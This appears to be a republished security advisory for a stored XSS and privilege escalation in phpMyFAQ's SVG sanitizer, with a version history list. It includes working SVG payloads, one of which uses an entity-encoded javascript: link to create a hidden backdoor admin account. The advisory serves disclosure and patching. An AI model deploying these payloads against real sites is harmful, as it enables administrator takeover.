Średnia

phpMyFAQ: SVG Sanitizer Bypass via HTML Entity Encoding Leads to Stored XSS and Privilege Escalation

  • Ujawniono: 01.04.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

The regex-based SVG sanitizer in phpMyFAQ (SvgSanitizer.php) can be bypassed using HTML entity encoding in javascript: URLs within SVG <a href> attributes. Any user with edit_faq permission can upload a malicious SVG that executes arbitrary JavaScript when viewed, enabling privilege escalation from editor to full admin takeover.

Details

The file phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php (introduced 2026-01-15) uses regex patterns to detect dangerous content in uploaded SVG files. The regex for javascript: URL detection is:

/href\s*=\s*["\']javascript:[^"\']*["\']/i

This pattern matches the literal string javascript: but fails when the URL is HTML entity encoded. For example, &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58; decodes to javascript: in the browser, but does NOT match the regex. The isSafe() method returns true, so the SVG is accepted without sanitization.

Additionally, the DANGEROUS_ELEMENTS blocklist misses <animate>, <set>, and <use> elements which can also be used to execute JavaScript in SVG context.

Uploaded SVG files are served with Content-Type: image/svg+xml and no Content-Disposition: attachment header, so browsers render them inline and execute any JavaScript they contain.

The image upload endpoint (/admin/api/content/images) only requires the edit_faq permission — not full admin — so any editor-level user can upload malicious SVGs.

PoC

Basic XSS (confirmed working in Chrome 146 and Edge)

  1. Login to phpMyFAQ admin panel with any account that has edit_faq permission
  2. Navigate to Admin → Content → Add New FAQ
  3. In the TinyMCE editor, click the image upload button
  4. Upload this SVG file:
xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200">
  <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(document.domain)">
    <text x="20" y="50" font-size="16" fill="red">Click for XSS</text>
  </a>
</svg>
  1. The SVG is uploaded to /content/user/images/<timestamp>_<filename>.svg
  2. Open the SVG URL directly in a browser
  3. Click the red text → alert(document.domain) executes

Privilege Escalation (Editor → Admin Takeover)

  1. As editor, upload this SVG:
xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 300">
  <rect width="500" height="300" fill="#f8f9fa"/>
  <text x="250" y="100" text-anchor="middle" font-size="22" fill="#333">📋 System Notice</text>
  <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;fetch('/admin/api/user/add',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({userName:'backdoor',userPassword:'H4ck3d!',realName:'System',email:'evil@attacker.com','is-visible':false}),credentials:'include'}).then(r=>r.json()).then(d=>document.title='pwned')">
    <rect x="150" y="170" width="200" height="50" rx="8" fill="#0d6efd"/>
    <text x="250" y="200" text-anchor="middle" font-size="16" fill="white">View Update →</text>
  </a>
</svg>
  1. Send the SVG URL to an admin
  2. Admin opens URL, clicks "View Update →"
  3. JavaScript creates backdoor admin user backdoor:H4ck3d!
  4. Attacker logs in as backdoor with full admin privileges

Impact

This is a Stored Cross-Site Scripting (XSS) vulnerability that enables privilege escalation. Any user with edit_faq permission (editor role) can upload a weaponized SVG file. When an admin views the SVG, arbitrary JavaScript executes in their browser on the phpMyFAQ origin, allowing the attacker to:

  • Create backdoor admin accounts via the admin API
  • Exfiltrate phpMyFAQ configuration (database credentials, API tokens)
  • Modify or delete FAQ content
  • Achieve full admin account takeover The vulnerability affects all phpMyFAQ installations using the SvgSanitizer class (introduced 2026-01-15). Recommended fix: replace regex-based sanitization with a DOM-based allowlist approach, or serve SVG files with Content-Disposition: attachment to prevent inline rendering.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer thorsten/phpmyfaq < 4.1.1 4.1.1

Odnośniki

Ocena CVSS 5.4/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Słabość (CWE)
CWE-79
Platforma
Composer
Paczka
thorsten/phpmyfaq
Ujawniono
01.04.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-5crx-pfhq-4hgg - CC BY 4.0

Historia podatności: thorsten/phpmyfaq

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (112) w archiwum
Wszystkich wpisów
112
Pierwsza → ostatnia
05.2022 09.2026
Bez poprawki
2
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 8
  • Wysoka 36
  • Średnia 67
  • Niska 1

Ujawnienia w latach

  1. 2022: 8
  2. 2023: 62
  3. 2024: 2
  4. 2025: 6
  5. 2026: 34
Istotność:
  1. Wysoka · 8.1 CVE-2026-56737 >= 3.2.0, < 4.1.6 4.1.6
  2. Wysoka · 7.5 CVE-2026-35672 < 4.1.3 4.1.3
  3. Wysoka · 8.8 CVE-2026-35671 < 4.1.3 4.1.3
  4. Wysoka · 7.6 CVE-2026-46367 >= 4.1.1, < 4.1.2 4.1.2
  5. phpMyFAQ: SVG Sanitizer Bypass via HTML Entity Encoding Leads to Stored XSS and Privilege Escalation ten wpis
    Średnia · 5.4 CVE-2026-34974 < 4.1.1 4.1.1
  6. Wysoka · 7.5 CVE-2025-69200 < 4.0.16, >= 4.1.0-alpha, <= 4.1.0-beta.2 4.0.16
  7. Wysoka · 8.1 CVE-2025-59943 >= 4.0.7, < 4.0.13 4.0.13
  8. Wysoka · 7.6 CVE-2023-5865 < 3.2.2 3.2.2
  9. Wysoka · 7.4 CVE-2023-5864 < 3.2.1 3.2.1
  10. Wysoka · 8.3 CVE-2023-5319 < 3.1.18 3.1.18
  11. Krytyczna · 9.0 CVE-2023-5320 < 3.1.18 3.1.18
  12. Krytyczna · 9.1 CVE-2023-5316 < 3.1.18 3.1.18
  13. Wysoka · 8.8 CVE-2023-4007 < 3.1.16 3.1.16
  14. Wysoka · 8.2 CVE-2023-2550 < 3.1.13 3.1.13
  15. Wysoka · 8.3 CVE-2023-1887 < 3.1.12 3.1.12
  16. Wysoka · 7.3 CVE-2023-1886 < 3.1.12 3.1.12
  17. Krytyczna · 9.8 CVE-2023-0788 < 3.1.11 3.1.11
  18. Krytyczna · 9.8 CVE-2023-0789 < 3.1.11 3.1.11
  19. Wysoka · 8.8 CVE-2023-0790 < 3.1.11 3.1.11
  20. Wysoka · 8.8 CVE-2023-0793 < 3.1.11 3.1.11
Pokaż więcej (5) Widać 40 z 45

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.